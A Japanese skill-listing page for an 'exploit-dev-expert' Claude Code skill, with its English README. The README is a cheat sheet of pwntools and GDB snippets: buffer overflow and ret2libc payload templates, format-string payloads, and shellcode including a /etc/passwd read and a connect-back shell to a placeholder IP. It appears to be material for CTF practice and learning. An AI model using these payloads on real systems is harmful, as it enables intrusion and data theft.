exploit-dev-expert について
バイナリ悪用、シェルコード、pwntools、GDBなどを扱うセキュリティスキルです。提示された内容は技術例とコマンドの参照情報で構成されています。
主な機能
- 01バッファオーバーフロー手法の例
- 02フォーマット文字列ペイロードの例
- 03pwntoolsによるシェルコード作成
- 04pwntoolsの設定と接続方法
- 05GDBの調査コマンド一覧
活用シーン
- 01バッファオーバーフローのオフセット調査
- 02フォーマット文字列の読み書きペイロード作成
- 03シェルコード生成とバイナリデバッグの練習
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ duck4nh/ antigravity-kit --skill exploit-dev-expertインストール後、Claude Code で/exploit-dev-expertを入力して読み込まれたか確認します。
README(原文)English
プロジェクトの README よりこの README の日本語訳はまだありません。以下は英語の原文です。日本語の紹介はページ上部をご覧ください。
Exploit Development Expert
Binary Exploitation Basics
Buffer Overflow
from pwn import *
# Find offset
cyclic(200) # Generate pattern
cyclic_find(0x61616166) # Find offset
# Basic exploit
offset = 64
ret_addr = p64(0x401234)
payload = b'A' * offset + ret_addr
# With NX bypass (ret2libc)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
system = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh'))
Format String
# Read from stack
payload = b'%x.' * 20
payload = b'%7$s' # Read specific position
# Write to address
payload = fmtstr_payload(offset, {target_addr: value})
Shellcode
# Using pwntools
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
# Common shellcodes
shellcraft.sh() # /bin/sh
shellcraft.cat('/etc/passwd')
shellcraft.connect('IP', PORT)
Pwntools Essentials
from pwn import *
# Setup
context.binary = ELF('./vuln')
context.log_level = 'debug'
# Connection
p = process('./vuln') # Local
p = remote('ip', port) # Remote
p = gdb.debug('./vuln') # With GDB
# I/O
p.sendline(payload)
p.recvuntil(b'>')
data = p.recv(100)
# Interactive
p.interactive()
GDB Commands
gdb ./binary
> checksec # Security features
> info functions # List functions
> disas main # Disassemble
> b *0x401234 # Breakpoint
> r < payload.txt # Run with input
> x/20wx $rsp # Examine stack
コメント
Markdown 対応